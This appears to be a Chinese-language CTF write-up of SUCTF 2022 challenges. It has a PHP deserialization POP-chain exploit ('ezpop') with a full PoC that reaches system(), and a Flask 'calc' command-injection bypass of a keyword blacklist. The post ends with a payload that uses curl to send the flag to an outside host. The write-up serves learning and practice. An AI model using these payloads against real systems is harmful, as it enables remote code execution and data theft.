之前给忘了 已经搭建新站很久了~ 师傅们来找我玩呀 因为还没复现完就先放这里了 复现完再放新站
ezpop
直接得到源码:
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
pop链:
1.首先找到destruct 方法作为入口,触发toString
2.what类里面转到mix类的run方法
3.mix的run触发crow的invoke方法
4.然后触发call方法调用get_flag
5.最后换行绕过注释
poc:
<?php
class crow
{
public $v1;
public $v2;
public function __construct($v1,$v2)
{
$this->v1 = $v1;
$this->v2 = $v2;
}
}
class fin
{
public $f1;
public function __construct($f1)
{
$this->f1 = $f1;
}
}
class what
{
public $a;
public function __construct($a)
{
$this->a = $a;
}
}
class mix
{
public function __construct($m1)
{
$this->m1 = $m1;
}
}
$a = new fin(new what(new mix(new crow(new fin(new mix(';
system(\'grep -r "{"\');')),''))));
echo urlencode(serialize($a));
小记: 因为太菜了所以比赛的时候只做出了pop,其他题目等复现了再放上来
复现来啦 ~
calc
from flask import Flask, render_template, url_for, render_template_string, redirect, request, current_app, session, \
abort, send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app = Flask(__name__)
def waf(s):
blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen',
'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
'getattribute', 'func_globals', '__init__', 'join', '__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
print(no)
break
return flag
@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")
@app.route("/calc", methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
1.赛时
waf过滤了很多关键词和符号,所以几乎不能用SSTI注入,但是当时就想着肯定能用SSTI,所以就一直卡住了(
然后因为之前做过类似的,利用报错进行模板注入,但是这道题利用1/0# 这种形式也是完全过不了的,因为有js进行检测
然后就把目光放到了eval中,在想着该怎么传入num才使得eval或者system执行我们想要的代码,但是一直没有想到该怎么办
@app.route("/calc", methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)
if waf(num):
try:
data = eval(num)
os.system(log)
2.赛后
赛后看了别的师傅的wp
确实是从os.system(log) 入手的,但是这里用到# 是为了注释掉后面的内容,因为如果eval(num) 出错的话,是不会进行下去的,导致实现不了rce
而python又支持# 与字符连接还是能当作注释符,而在unix中如果# 与字符相邻则也会被当作字符,就可以利用这个区别直接构造payload
再利用反引号进行命令执行
不过感觉可能是环境原因,直接用反引号没有返回值,直接用curl外带,payload:
/calc?num=1%23`curl%09http://vps:5656/?flag=\`cat%09Th1s*\``
|